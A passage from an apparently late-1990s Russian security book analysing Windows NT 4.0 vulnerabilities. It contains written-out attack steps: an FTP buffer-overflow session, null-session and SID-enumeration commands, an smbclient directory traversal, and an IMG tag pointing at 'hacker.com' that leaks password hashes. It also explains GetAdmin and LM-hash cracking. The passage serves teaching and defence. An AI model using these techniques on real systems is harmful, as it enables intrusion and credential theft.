И последнее, о чем уже подробно говорилось во второй главе, – нельзя приуменьшать роль человека в обеспечении безопасности любой системы (про необходимость выбора надежных паролей упоминалось ранее). Неправильное администрирование – тоже очень актуальная проблема, а для UNIX она особенно остра, так как сложность администрирования UNIX-систем давно стала притчей во языцех, и часто именно на это ссылаются конкуренты. Но за все надо платить, а это – обратная сторона переносимости и гибкости UNIX.

Настройки некоторых приложений, той же sendmail, настолько сложны, что для поддержания работоспособности системы требуется специальный человек – системный администратор, но даже он, мы уверены, не всегда знает о всех возможностях тех или иных приложений и о том, как правильно их настроить. Более того, если говорить о слабости человека, защищенные системы обычно отказываются и еще от одной из основных идей UNIX – наличия суперпользователя, имеющего доступ ко всей информации и никому не подконтрольного. Его права могут быть распределены среди нескольких людей: администратора персонала, администратора безопасности, администратора сети и т. п., а сам он может быть удален из системы после ее инсталляции. В результате вербовка одного из администраторов не приводит к таким катастрофическим последствиям, как вербовка суперпользователя.

Windows NT

Мы специально так подробно рассмотрели UNIX и закончили классификацией причин ее уязвимости, чтобы читателю было легче провести параллель с более молодой операционной системой – Windows NT. Сразу оговоримся, что, в отличие от UNIX, речь будет идти только об одной версии – Windows NT 4.0.

Windows NT – сильно выделяющийся продукт среди ОС, производимых фирмой Microsoft. Во-первых, это единственная система, способная работать на процессорах, отличных от Intel-совместимых, а именно на процессоре Alpha. Во-вторых, эта ОС выпускается в виде двух реализаций – как сервер (Windows NT Server) и как рабочая станция (Windows NT Workstation). В-третьих, ядро этой системы писалось с нуля, и при его разработке не требовалась 100-процентная совместимость с более ранними ОС типа MS DOS. Наконец, только в этой ОС с самого начала было уделено должное внимание требованиям безопасности, что привело к созданию собственной файловой системы, нового алгоритма аутентификации, подсистемы аудита и т. п.

Последний факт послужил поводом к возникновению нескольких мифов о защищенности Windows NT. Часто можно услышать, что Windows NT на сегодняшний день – самая защищенная сетевая ОС. На самом же деле, как подчеркивалось во введении к этой главе, пока нельзя сказать, какая из ОС является более защищенной и по каким параметрам. Этого нельзя будет сделать до тех пор, пока Windows NT не проработает хотя бы несколько лет в качестве сетевой ОС на различных аппаратных и программных конфигурациях. Ей, видимо, это не грозит в связи с выходом Windows 2000 (она же Windows NT 5.0), и процесс тестирования начнется сначала. Наконец, накопленный на сегодняшний день опыт уже не подтверждает притязаний NT на самую защищенную ОС, что и показано в данном разделе.

Второй устойчивый миф гласит, что Windows NT 4.0 якобы была сертифицирована по американскому классу защищенности С2. На самом же деле здесь ситуация почти как в анекдоте про Иванова, который выиграл в лотерею:

1. Не Windows NT 4.0, а 3.5, причем обязательно с Service Pack 3.

2. Сертификация касалась только локальной (не сетевой) версии NT, то есть с отсутствующими сетевыми адаптерами и внешними накопителями.

3. Сертификация производилась на конкретной аппаратной платформе, а именно: Compaq Proliant 2000 and 4000 (для платформы Intel/Pentium) и DECpc AXP/150 (для платформы Alpha). Если NT установлена на другую платформу, сертификат на нее не распространяется.

4. Класс С2 является одним из самых низких классов защищенности (ниже только C1 и D). Учитывая, что к классу D относятся все системы, не попадающие в другие классы, и сертифицировать по нему что-либо бессмысленно, а по классу C1 сертификация также не производится, получаем, что С2 – это низший класс защищенности, по которому вообще может производиться сертификация ОС. Отметим также, что сам процесс сертификации – достаточно формальная в плане определения уязвимостей процедура, при которой проверяется соответствие продукта всем требованиям для данного класса защищенности, и этот процесс никоим образом не гарантирует отсутствия уязвимостей.

Классификация причин уязвимости Windows NT

В отличие от описания проблем с безопасностью у UNIX, здесь мы пойдем по обратному пути: сначала классифицируем возможные способы нарушения безопасности Windows NT, а затем будем приводить примеры.

Оказывается, что классификация причин уязвимости Windows NT весьма похожа на рассмотренную аналогичную классификацию для UNIX (рис. 9.5).

Рис. 9.5. Причины уязвимости Windows NT

Удаленное выполнение кода

Ясно, что механизм демонов, отвечающих за обработку соединений с тем или иным TCP-портом, должен был остаться и в Windows NT. Действительно, все основные службы, используемые в Internet, – ftp, WWW или e-mail – должны поддерживаться любой ОС, включающей в себя реализацию стека протоколов TCP/IP. Более того, все основные команды для работы с ними также стандартизованы. Пусть в Windows NT эти программы называются не демонами, а серверами, суть от этого не меняется, а именно: как и в случае UNIX-систем, некий неидентифицируемый пользователь (человек, сидящий за своим компьютером по другую сторону океана) тоже может давать некоторые команды серверам, подключившись на соответствующий порт. Отсюда ясно, что от классических проблем с переполнением буфера Windows NT принципиально не может быть защищена.

Получение прав другого пользователя

Естественно, что неудачного механизма SUID/SGID-программ, являющегося основным источником получения привилегированных прав в UNIX, в Windows NT нет. Тем не менее в операционной системе, где одновременно функционируют процессы с разными привилегиями, всегда потенциально можно получить права более привилегированного процесса. Этого нельзя сделать только в том случае, когда система написана так, что не содержит ошибок во внедрении и реализации не только подсистемы разграничения доступа, но и всего ядра ОС, управляющего процессами, файловой системой и т. п. Для современных ОС, объем исходного кода которых исчисляется сотнями тысяч строк (а для Windows NT 5.0 – около 5 миллионов), гарантировать отсутствие ошибок нельзя при любых технологиях написания этого кода и любом мыслимом уровне тестирования.

Windows NT содержит процессы (они называются сервисами), которые запускаются чаще всего от имени system. Это специальное имя не сильно афишируется (по крайней мере, вы не найдете его в списке имен пользователей программы User manager) и обладает полномочиями администратора на локальной машине. Таким образом, запустив программу от имени system, злоумышленник получает возможности, сравнимые с возможностями суперпользователя для UNIX-систем. Такой запуск может быть реализован как классическими методами типа переполнения буфера, так и специфичными для Windows NT способами.

Нелегальное подключение к системе

Как вы помните, в некоторых случаях пользователь может подключаться к UNIX без предъявления пароля. В Windows NT такой механизм отсутствует, однако возможность нелегального (или полулегального) подключения к Windows NT все же остается. Дело в том, что в этой системе существуют некие пользователи и группы со стандартными общеизвестными именами. Один из пользователей – Guest, по умолчанию имеющий пустой пароль, – действительно хорошо известен и хакерам, и администраторам. Именно поэтому он запрещен по умолчанию, что делает его не очень ценной находкой для злоумышленников. Однако существует другой, менее известный (по крайней мере, администраторам) пользователь – анонимный (не путать с анонимным пользователем ftp или http), с пустым именем и паролем (не пытайтесь, однако, при входе в систему оставить пустыми имя и пароль пользователя – это не сработает, для анонимного подключения к компьютеру требуется другая процедура, о которой мы расскажем чуть позже), поэтому он несколько отличается от обычных пользователей, но тем не менее обладает правами, сходными с правами группы Everyone (все).

Итак, классификацию всех пользователей (субъектов) Windows NT аналогично пользователям UNIX можно представить в следующем виде:

1. Администраторы – все права на локальном компьютере или домене. Отличие от UNIX в том, что их может быть много.

2. Обычные пользователи – аналогично UNIX.

3. Специальные пользователи – предопределенные имена, как правило, использующиеся системой. Могут иметь достаточно широкие полномочия.

4. Псевдопользователи – удаленные пользователи, взаимодействующие с сетевыми серверами. Не являются пользователями как таковыми, не проходят регистрацию и не могут подключиться к компьютеру в явной форме – аналогично UNIX.

5. Анонимные пользователи – не имеют пароля, но имеют права, сходные с правами Everyone.

Человеческий фактор

Отметим, что ошибки администрирования, которые были неизбежны в UNIX, в Windows NT, может быть, сделать и сложнее, но здесь есть другая особенность: пусть администратор знает, что ему нужно сделать, но не может – закрытость Windows NT не предоставляет ему таких гибких механизмов настройки, как UNIX.

Совместимость с другими операционными системами Практически всегда требования совместимости или переносимости противоречат требованиям безопасности. К примеру, несмотря на то что для Windows NT была разработана специальная хэш-функция, она вынуждена поддерживать еще одну, которая берет свое начало от самых первых сетевых приложений Microsoft. Поэтому в криптографическом плане Windows NT порой оказывается слабее UNIX. И еще: довольно часто Windows NT приходится поддерживать решения, которые являются устаревшими с точки зрения безопасности.

Переполнения буфера в системных сервисах

Совершенно очевидно, что аналогично UNIX-системам наличие потенциальных ошибок в программах, отвечающих за поддержку основных служб Internet, является самой серьезной уязвимостью, допускающей удаленное исполнение кода незарегистрированным пользователем.

Готовя материал для этого раздела, мы до самого последнего момента не могли найти хорошего примера. Были уязвимости, приводящие «всего лишь» к отказу в обслуживании; были переполнения буфера с возможностью исполнения кода, но для этого требовались некоторые действия от пользователя (типа «забрать почту с сервера», «прочитать письмо» и т. п.); самой нашумевшей уязвимостью оказалось переполнение буфера при чтении письма с MIME-вложением. Мы же хотели привести пример классического переполнения, при котором осуществимо удаленное вторжение без каких-либо действий с атакуемой стороны, потому что точно уверены в возможности этого из-за особенностей архитектуры Windows NT.

То, что такими примерами не изобилует история безопасности Windows, говорит вовсе не о качестве написания программного кода, а всего лишь о том, что программ, которые могут содержать бреши в безопасности, не так уж много – Microsoft Internet Information Server, реализующий http-, ftp-, gopher-серверы, и Microsoft Exchange Server, отвечающий за SMTP и POP3. Сравните это с огромным количеством демонов от разных фирм (мы не утверждаем, что это хорошо), доступных для UNIX!

Но все же в последний момент, в январе 1999 года, появилась долгожданная уязвимость в ftp-сервере, входящем в состав IIS 4.0. Оказывается, команда NLST содержала переполняемый буфер с возможностью не только отказа в обслуживании сервера, но и удаленного исполнения кода. Проверить наличие этой уязвимости можно примерно следующим набором команд:

> ftp victim.com

Connected to victim.com.

220 VICTIM Microsoft FTP Service (Version 4.0).

User (poor.victim.com:(none)): ftp

331 Anonymous access allowed, send identity (e-mail name) as password.

Password:

230 Anonymous user logged in.

ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

200 PORT command successful.

150 Opening ASCII mode data connection for file list.

–> ftp: get :Connection reset by peer

Минимально необходимый объем данных команды NLST, который вызывает переполнение, – 316 байт, при этом возможен только отказ в обслуживании, что следует из содержимого регистров в момент аварийного останова – они равны:

EAX = 0000005C EBX = 00000001

ECX = 00D3F978 EDX = 002582DD

ESI = 00D3F978 EDI = 00000000

EIP = 710F8AA2 ESP = 00D3F644

EBP = 00D3F9F0 EFL = 00000206

Как видно, ни один из регистров не содержит шестнадцатеричного кода 41, соответствующего букве «A». Со строками большей длины картина будет иной, а именно:

EAX = 00000000 EBX = 41414141

ECX = 41414141 EDX = 722C1CAC

ESI = 41414141 EDI = 41414141

EIP = 722C9262 ESP = 00D3F524

EBP = 00D3F63C EFL = 00000246

Большое количество кодов (41) означает, что содержимое буфера попадает в регистры, правда, не в EIP. Следовательно, переполняемый буфер находится не в стеке, что усложняет задачу злоумышленника по удаленному выполнению кода, но отнюдь не делает его невозможным.

Данный пример заслуживает внимания еще двумя моментами. Во-первых, такая уязвимость проявляется только после установки Service Pack 4, а с предыдущим Service Pack 3 повторить ее никому не удалось. Это подтверждает очевидный факт: после любых изменений в программах (тем более после таких серьезных, как Service Pack, занимающих десятки мегабайт) всеобъемлющее тестирование должно проводиться заново, а если это невыполнимо, то никто не смеет утверждать, что в программных продуктах не возникнут новые ошибки.

Во-вторых, уязвимость была найдена с помощью автоматизированного средства для поиска переполнений буферов Retina, разрабатываемого группой eEye (www.eeye.com). Собственно идея создания такого средства для нужд компьютерной безопасности, что называется, витает в воздухе, и подобные проекты уже существовали, но на этот раз с помощью Retina удалось отловить довольно серьезную уязвимость. Кстати, вскоре она обнаружила и переполнение буфера в уже известном читателю wu-ftpd с отказом в обслуживании.

Надо отдать должное фирме Microsoft, которая всегда оперативно реагирует на сообщения о найденных уязвимостях. И на этот раз hot-fix (заплатки) появились через 10 дней после первых сообщений, при этом большая часть времени, видимо, ушла на воспроизводство условий, необходимых для переполнения буфера, то есть на подтверждение его реальности.

Получение прав администратора Из классификации уязвимостей Windows NT следует, что для получения прав привилегированных пользователей необходимо исполнить код от имени одного из системных процессов (сервисов). Первой и самой известной из программ такого рода была появившаяся в 1997 году утилита GetAdmin (кстати, разработанная российским исследователем Константином Соболевым).

...

Несмотря на подчеркнутые нами отличия хакера от кракера, не хотим писать здесь слово «хакер», так как при цитировании в соответствующем контексте цель этого исследования может быть неверно истолкована.

Чтобы исполнить код, разработчик применил интересный механизм, называемый внедрением в процесс (а не стандартное переполнение буфера, как это можно было ожидать). Для внедрения в процесс используются функции OpenProcess, WriteProcessMemory, CreateRemoteThread, а самое главное – при этом необходимы привилегии SeDebugPrivilege – отладка объектов низкого уровня, в том числе потоков (threads), которые по умолчанию даются только группе администраторов. Вот как описывает автор дальнейший принцип работы своей утилиты [8]:

«Получается, что пользователь, который имеет привилегию «отладка программ», может получить права администратора на локальной машине. Но как же обойти необходимость в специальных привилегиях? Решение было найдено мной несколько позже – в июне 1997 года. Заняло примерно одну неделю.

Изучая работу ntoskrnl.exe (ядро Windows NT), я обнаружил (далеко не случайно, в ntoskrnl сотни функций), что функция NtAddAtom не проверяет адрес своего второго аргумента. Иначе говоря, если передать в качестве параметра любой адрес, туда будет записано некое число (результат выполнения NtAddAtom).

Функция NtAddAtom в WIN32 API вызывается функцией AddAtom, которая используется достаточно часто. Но функция AddAtom принимает только один параметр (адрес строки), поэтому вызов ее не приводил к катастрофическим последствиям.

Итак, получается, мы можем писать в любую область адресного пространства Windows NT… В системе Windows NT есть некий глобальный флаг NtGlobalFlag, имеющий адрес примерно 0x801XXXXX. Изменением одного из битов этого флага мы можем превратить Windows NT в Windows NT Checked Build, и право SeDebugPrivilege не будет необходимо для внедрения в системные процессы».

Дальнейшее уже зависит от стремлений хакера – имея привилегии system, можно сделать с системой все, что угодно. Программа GetAdmin внедряла в процесс WinLogon код, добавляющий текущего пользователя в группу администраторов.

Как говорится, трудно только в первый раз. Вскоре последовали различные способы получения прав администратора в Windows NT, либо развивающие идею внедрения в процессы (например, Sechole), либо использующие другие пути. Одним из самых оригинальных и в то же время очевидных оказался способ подмены программы, вызываемой при сбое другого процесса. По умолчанию в Windows NT это программа Dr. Watson, вызов которой располагается в каталоге реестра HKLM\Software\Microsoft\Windows NT\ CurrentVersion\AeDebug. Если же прописать туда вызов не Dr. Watson, а, скажем, User Manager, то последний будет запускаться при каждом аварийном завершении некоторого процесса. Право на чтение и запись в этот каталог реестра имеет любой член группы Everyone. Итак, злоумышленнику осталось только найти подходящий системный процесс, который он смог бы «подвесить». Учитывая стиль программирования от Microsoft, сделать это не так трудно.

Не правда ли, все это чрезвычайно похоже на получение прав суперпользователя через SUID/SGID-программы? Совершенно очевидно, что никто уже не верит в непогрешимость модели разграничения полномочий в Windows NT и вскоре появятся новые способы несанкционированного присвоения дополнительных прав.

...

Уже сдавая рукопись в редакцию, мы обнаружили такой способ, опубликованный известной хакерской группой L0pht. См. бюллетень безопасности Microsoft MS006-99 «KnownDLLs List Vulnerability».

При обсуждении SUID/SGID-механизма мы подчеркивали, что он сам по себе позволяет строить только локальные атаки, которые легко превращаются в «удаленные», если злоумышленник подключается к компьютеру по протоколу TELNET. В Windows NT дело обстоит примерно так же: программы получения прав администратора могут быть запущены удаленно, например через механизм CGI или при использовании TELNET, поставляемого третьими фирмами (так как в стандартной конфигурации он не предусмотрен).

Итак, повторим основные уязвимости Windows NT, делающие возможными атаки типа GetAdmin (первые два пункта могут быть отнесены к люкам):

• возможность отлаживать потоки;

• наличие NtGlobalFlag;

• ошибки в функциях ядра и в системных сервисах, в том числе недостаточные проверки на корректность параметров. Типичный пример непредусмотренных входных данных;

• слишком широкий доступ к параметрам реестра.

Разделение ресурсов и анонимный пользователь

Доступ к файлам и принтерам на удаленных компьютерах под управлением ОС семейства Windows осуществляется через протокол SMB. Более того, этот протокол используется многими компонентами удаленного управления системой, например программами Regedit, User Manager и Server Manager. Поэтому значение протокола с точки зрения безопасности является очень важным. В частности, к нему могут быть применены типовые удаленные атаки (см. главы 3–8).

Но какое отношение он имеет к Internet? Ведь протокол SMB задумывался для разделения ресурсов внутри локальной сети (домена). Дело в том, что SMB, являясь протоколом прикладного уровня, может быть построен на основе любого транспортного протокола, совместимого с интерфейсом NetBIOS. Обычно в сетях Microsoft для этих целей используется NetBEUI, однако может быть использован и IPX, и, естественно, IP (NetBIOS over TCP/IP). Именно поэтому все, что говорится о SMB, относится и к глобальным сетям, построенным на TCP/IP. Например, если вы разрешили доступ на ваш диск С: своему коллеге, сидящему в соседней комнате, и подключились к Internet, то имейте в виду, что доступ к диску теперь получат и пользователи извне, задав команду типа

> net use * \\194.94.94.94\DISK_C password /USER:user ,

где 194.94.94.94 – ваш IP-адрес;

DISK_C – разделяемое имя диска C:;

user, password – имя и пароль для подключения к ресурсу.

Более того, даже если вы и не стремились предоставить никому доступ к вашим дискам, NT это сделает за вас. В ней есть так называемое административное (или скрытое) разделение ресурсов, отличающееся от обычных символом «$» в конце, а также тем, что эти скрытые ресурсы вновь появляются после перезагрузки, даже если вы их удалите вручную. Их имена – C$, D$ и т. д., обозначающие ваши жесткие диски, а также ADMIN$, указывающий на каталог %SystemRoot%. Такие ресурсы доступны только администратору и не выводятся в списке разделяемых ресурсов командой net view. Настройками в реестре можно отказаться от их наличия, но по умолчанию они существуют.

Хорошо ли, что SMB может быть построен на базе TCP/IP? С точки зрения функциональности – безусловно, Microsoft даже предлагает свой стандарт на глобальную файловую систему – CIFS (Common Internet File System), представляющий собой не что иное, как систему разделения ресурсов от Microsoft в рамках всего Internet. Но с точки зрения безопасности такой подход грозит дополнительными уязвимостями, обусловленными недостатками SMB.

В дальнейших рассуждениях мы предполагаем, что цель атаки – машина под управлением Windows NT, а не Windows for Workgroups или Windows 95/98, хотя они используют для разделения ресурсов тот же самый протокол SMB. Дело в том, что у этих операционных систем есть возможность обеспечивать разделение ресурсов на уровне ресурса (share level), при котором не требуется идентификации пользователя, а нужен только пароль на ресурс. Windows NT же обеспечивает разделение только на уровне пользователя (user level), при котором необходимо вводить и имя, и пароль. Вообще, применение Windows 95/98 в качестве основной ОС для хоста (сервера) в Internet – это нонсенс, и в нашей книге такой вариант практически не рассматривается.

Напомним еще раз, что необходимо знать злоумышленнику для подключения к разделяемому ресурсу на удаленной машине:

IP-адрес. Он его, безусловно, знает.

Имя ресурса. Его можно узнать с помощью той же самой команды net: net view \\194.94.94.94. Впрочем, для этого все равно надо знать имя и пароль (то есть сначала злоумышленник должен ввести net use, а потом уже net view).

Имя и пароль. Итак, именно в них вся загвоздка.

Однако нет ли в Windows NT какого-нибудь способа, позволяющего обойтись без знания имени и/или пароля? Оказывается, есть. Самой системе иногда требуется подключение к компьютеру, например для обеспечения межкомпьютерных связей в домене. И при этом ей приходится как-то идентифицироваться на удаленном компьютере. Такой механизм называется null session (нуль-сеанс, или анонимное подключение). Чтобы его установить, необходимо ввести пустое имя пользователя и пустой пароль, при этом для анонимного подключения всегда открыт специальный ресурс IPC$ (inter-process communication):

net use \\194.94.94.94\IPC$ «„ /USER:“»

Анонимный доступ имеет ряд ограничений, в частности не позволяет подключать непосредственно разделяемые диски, но может предоставить следующие возможности:

• вывести список разделяемых ресурсов;

• удаленно просмотреть реестр с помощью стандартных программ Regedit или Regedt32 (если не запрещено его разделение). При этом ему будут доступны те разделы реестра, которые доступны Everyone, то есть многие. Например, в каталоге HKLM\SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Winlogon существуют поля «DefaultUsername» и «DefaultPassword», означающие имя и пароль пользователя при autologon (автоматический вход в систему);

• запустить User Manager и просмотреть список существующих пользователей и групп;

• запустить Event Viewer и другие средства удаленного администрирования, использующие SMB.

Такая атака получила название RedButton, как и вышедшая в 1997 году программа-демонстратор, хотя о возможности анонимного подключения было известно со времен Windows NT 3.5. Service Pack 3 закрывает большинство этих возможностей, но не устраняет причину – анонимного пользователя. Поэтому после установки Service Pack 3 все равно можно просмотреть разделяемые ресурсы, а также узнать имена всех пользователей и групп в системе благодаря наличию общеизвестных (well-known) имен и идентификаторов субъектов.

С целью идентификации субъектов (пользователей или групп) Windows NT использует SID (security identifier – идентификаторы безопасности), но, в отличие от UID в UNIX, они у NT более сложные, имеют большую длину и уникальны для каждого пользователя даже на разных компьютерах. SID принято записывать в виде S-1-XXXXX-YYYYY1-YYYYY2-…,

где S-1 – идентификатор безопасности, версия 1;

XXXXX – номер ведомства (authority);

YYYYYn – номера подразделений (subauthority), причем последний из них задает RID (relative identifier – относительный идентификатор), который не будет уникальным для каждого компьютера. Например, для администратора – RID всегда 500 (прямая аналогия с UID root в UNIX, который всегда 0).

Итак, каждый идентификатор сопоставляется с некоторым субъектом, и существуют функции Win32 API, позволяющие получить SID по имени (LookupAccountName), и наоборот (LookupAccountSid).

Теперь нетрудно догадаться, что после установки анонимного подключения эти функции возможно применить и к удаленному компьютеру. Российским исследователем Евгением Рудным были написаны две простые программы, sid2user и user2sid, осуществляющие такие вызовы. Дальше кракеру поможет знание общеизвестных имен или RID.

Например, чтобы найти настоящее имя администратора (для большей безопасности Microsoft рекомендует его переименовывать), можно использовать примерную схему:

1. Осуществить поиск любого стандартного имени на удаленном компьютере, к примеру "Domain Users":

>user2sid \\194.94.94.94 «Domain users»,

что выдаст, например: S-1-5-21-111111111-22222222-33333333-513, то есть ведомство 5, подразделение 21-111111111-22222222-33333333, RID 513. 2. Найти имя администратора (он же входит в пользователи домена, а RID всегда один и тот же!):

>sid2user \\194.94.94.94 5 21 111111111 22222222 33333333 500

Name is Vovse_Ne_Administrator

Domain is Vovse_Ne_Domain

Type of SID is SidTypeUser

Далее можно просмотреть всех остальных пользователей и, более того, отследить временную иерархию их создания или удаления.

Несколько похоже на получение информации о системе через finger, не так ли? С одним маленьким дополнением – службу finger запретить легко, а здесь ничего не сделать.

Протокол SMB в глобальных сетях

Протокол SMB известен давно и имеет несколько диалектов – от PC Network Program, предназначенного для сетевых расширений DOS, до NT LM 0.12, применяемого уже в Windows NT. К сожалению, с точки зрения безопасности эти диалекты совместимы снизу-вверх, точнее, серверу приходится поддерживать несколько из них. Это приводит, например, к такой простой атаке, как указание клиенту передавать пароль в открытом виде, потому что сервер якобы не поддерживает зашифрованные пароли. Естественно, роль сервера здесь выполняет ложный сервер злоумышленника (см. главу 3).

Из-за поддержки устаревших с точки зрения безопасности сетевых решений SMB может быть подвержен атаке на получение доступа ко всему диску, если у злоумышленника есть права только на его часть (каталог). Для этого взломщику достаточно указать имя каталога через «..» [19]. Успех атаки заключен в том, что проверка правильности вводимого имени производится не на сервере, а на клиенте. Windows-клиент не пропустит имя каталога, содержащее «..», но ведь возможно использовать, например, UNIX-клиент SMB, слегка его подправив, благо, он есть в исходных текстах. Действия кракера при наличии легального доступа к каталогу SOME_DIR могли бы выглядеть примерно так:

$smbclient \\\\VICTIM\\SOME_DIR -n TRUSTME -m LANMAN2 -U HACKER -I 194.94.94.94

smb: \> dir

smb: \> cd ..

smb: \..\> dir

smb: \..\> cd \..\..

smb: \..\..\> dir

smb: \..\..\> get config.sys -

smb: \..\..\> cd windows

smb: \..\..\windows\>

Далее злоумышленник может поместить в системный каталог Windows, например, «троянского» коня. Первоначальная реакция Microsoft: «Samba – это неправильный клиент, и он не должен быть использован». Аналогичные попытки делает и NAT (NetBIOS Auditing Tool) – распространенное средство анализа безопасности для Windows-сетей. Вот фрагмент его исходного текста:

strcpy (cur_dir, «..\\*.*»);

do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);

tested_stash = 0;

strcpy (cur_dir, "\\..\\*.*");

do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);

tested_stash = 0;

strcpy (cur_dir, "...\\*.*");

do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);

tested_stash = 0;

strcpy (cur_dir, ".\\...\\*.*");

Вообще, ошибки, связанные с подменой файлов через относительные пути, становятся сильно распространенными. Все крупные производители серверов для Windows NT их допустили, по крайней мере, по одному разу (см. главу 10). Что касается вышеприведенного фрагмента, то он датирован 17.02.97. Как видно, автор NAT прекрасно был осведомлен о возможности доступа к каталогу в Windows 95 (в Windows NT такой возможности нет), лежащему двумя уровнями выше, через «…». Только почти два года спустя эта «особенность» Windows 95 стала хорошо известна, когда таким же образом удалось получить доступ ко всему диску путем указания URL вида http://www.victim.com/…/.

Попытки использовать SMB в качестве протокола для глобальных сетей приводят и к другим весьма серьезным уязвимостям. Оказывается, можно, например, удаленно получить имя и хэшированный пароль пользователя без его ведома. И в самом деле, указав в HTML-странице ссылку вида: <IMG SRC = "file:////hacker.com/share/image.gif">, злоумышленник заставит ваш браузер присоединиться к SMB-серверу hacker.com. Windows NT позволяет сделать это, даже не спрашивая пользователя о подтверждении: она просто передает имя и хэшированный пароль на сервер! Такой атаке подвержена Windows NT версий 3.51 и 4.0 вплоть до последних Service Pack, в качестве браузера может выступать любой – Microsoft Internet Explorer или Netscape Navigator от вторых версий до четвертых. Это и не удивительно, так как уязвимость является фундаментальной и исправить ее любым Service Pack практически невозможно, надо серьезно пересматривать сам процесс идентификации-аутентификации SMB-клиента на сервере.

Получается, свершилось то, о чем даже не мечтали UNIX-хакеры! Можно удаленно «стянуть» имя и зашифрованный пароль пользователя, правда, эта атака пассивна – незадачливый «клиент» сам заходит на враждебный сайт, а не наоборот.

Представитель Microsoft Майк Нэш (Mike Nash), отвечающий за маркетинг Windows NT, узнав об этой уязвимости, заявил: «Хорошо, что люди тестируют наши продукты, и лучшее, что мы можем сделать, – повысить осведомленность наших покупателей в вопросах безопасности» [28].

Итак, следующие особенности Windows NT приводят к успеху удаленных атак на разделяемые ресурсы:

• наличие «скрытых» разделяемых ресурсов, восстанавливающихся при каждой перезагрузке сервера;

• наличие анонимного пользователя и «нуль-сеанса» подключения к IPC$;

• наличие общеизвестных имен и идентификаторов безопасности;

• наличие нескольких диалектов SMB;

• перекладывание некоторых функций SMB-сервера на клиентов;

• непригодность стандартной процедуры входа в систему для глобальных сетей.

Процедуры идентификации и аутентификации

Из предыдущих разделов читатель уже уяснил, что для любых действий с сервером Windows NT сначала нужно зарегистрироваться. Рассмотрим процедуры идентификации и аутентификации в этой ОС, используемые в них криптографические алгоритмы и сравним их с аналогичными процедурами в UNIX.

Упрощенно можно считать, что в Windows NT существует две принципиально разные процедуры регистрации на сервере – локальная и удаленная. Для первой, так же как и в UNIX, хэш от введенного пароля пользователя сверяется с эталонным хэш-значением, хранящимся в базе данных диспетчера учетных записей (SAM – Security Account Manager). Для удаленной процедуры можно было применить ту же схему, но тогда значение хэша пользователя передавалось бы по каналам связи на сервер и в принципе могло быть перехвачено кракером. Поэтому здесь, в отличие от UNIX, используется механизм «запрос-отклик», при котором в общедоступные каналы связи передается только зашифрованное на случайном ключе хэш-значение.

Функции хэширования паролей

В ОС Windows NT для защиты паролей используются две однонаправленные хэш-функции: хэш Lan Manager (LM-хэш) и хэш Windows NT (NT-хэш). Наличие двух функций, выполняющих одно и то же, говорит о совместимости со старыми ОС. LM-хэш был разработан Microsoft для операционной системы IBM OS/2, он интегрирован в Windows 95/98, Windows for Workgroups и частично в Windows 3.1. Хэш Windows NT был разработан специально для ОС Microsoft Windows NT, и его умеют вычислять только последние версии ОС этого семейства, начиная с Windows 95. Функция LM-хэш основана на алгоритме DES; NT-хэш является не чем иным, как известной хэш-функцией MD4.

Обычно в базе данных SAM хранятся, будучи дополнительно зашифрованными по алгоритму DES с ключом, зависящим от RID пользователя, оба хэш-образа пароля. Но иногда в системе может храниться только один из них. Очевидно, это будет происходить в случае, когда пользователь меняет пароль из ОС, не поддерживающей NT-хэш, – тогда в базу SAM записывается только LM-хэш (а поле NT-хэша обнуляется). И наоборот, если пароль пользователя превышает 14 байт, то туда попадет один лишь NT-хэш.

...

В документации Microsoft сказано, что длина паролей Windows NT может достигать 128 символов. Однако User Manager (диспетчер пользователей) ограничивает длину до 14 символов.

При обоих способах входа в систему (локальном и удаленном) процедура аутентификации сначала пытается сверить NT-хэш. Если его не оказывается (либо в базе SAM, либо в переданной информации), тогда она пытается проверить подлинность по LM-хэшу. Такая схема призвана обеспечить большую надежность сетей Windows NT, но в то же время и совместимость со старыми сетевыми клиентами. Однако первое ей не удается по той простой причине, что часто клиент не знает, какой хэш следует передавать серверу, в результате оба хэша передаются одновременно, и стойкость их равна стойкости наиболее слабого из них. Какого же?

Функция хэша Lan Manager вычисляется таким образом:

1. Пароль превращается в 14-символьную строку путем либо усечения более длинных паролей, либо дополнения коротких паролей нулевыми элементами.

2. Все символы нижнего регистра переводятся в верхний регистр. Цифры и специальные символы остаются без изменений.

3. Полученная 14-байтовая строка разбивается на две 7-байтовых половины.

4. Каждая половина строки используется в роли ключа DES при шифровании фиксированной константы, что дает две 8-байтовых строки.

5. Эти строки сливаются для создания одного 16-разрядного значения хэш-функции.

Из этого можно сделать вывод, что атаки на функцию LM-хэша достигают успеха по следующим причинам:

1. Преобразование всех символов в верхний регистр ограничивает и без того небольшое число возможных комбинаций для каждого (26 + 10 + 32 = 68).

2. Две «половины» пароля хэшируются независимо друг от друга. Таким образом, обе 7-символьные части пароля могут подбираться перебором независимо друг от друга, и пароли длиной более семи символов не сильнее паролей длиной в семь символов. Следовательно, для гарантированного нахождения пароля необходимо перебрать вместо 940 + 941 + … + 9414 = 4 х 1027 всего лишь 680 + 681 + … + 687 = 7 х 1012 = 243 комбинации (то есть почти в 1015 раз меньше).

...

По логике вещей эту сумму надо было умножить на два, так как необходимо перебирать две половинки хэша. Но нетрудно оптимизировать атаку так, чтобы перебрались все пароли только по одному разу, сравнивая поочередно их хэш-значение с каждой половинкой, что сократит время перебора почти в два раза.

Кроме того, пароли, длина которых не превышает семи символов, очень легко распознать, поскольку вторая половина хэша будет одним и тем же значением AAD3B435B51404EE, получаемым при шифровании фиксированной константы с помощью ключа из семи нулей.

3. Скорость перебора паролей в 15 раз больше, чем в UNIX, и достигает 190 000 паролей/с на Pentium 166.

4. Нет элемента случайности (привязки (salt), как это сделано в crypt()) – два пользователя с одинаковыми паролями всегда будут иметь одинаковые значения хэш-функции. Таким образом, можно заранее составить словарь хэшированных паролей и осуществлять поиск неизвестного пароля. Это позволит увеличить скорость перебора на несколько порядков.

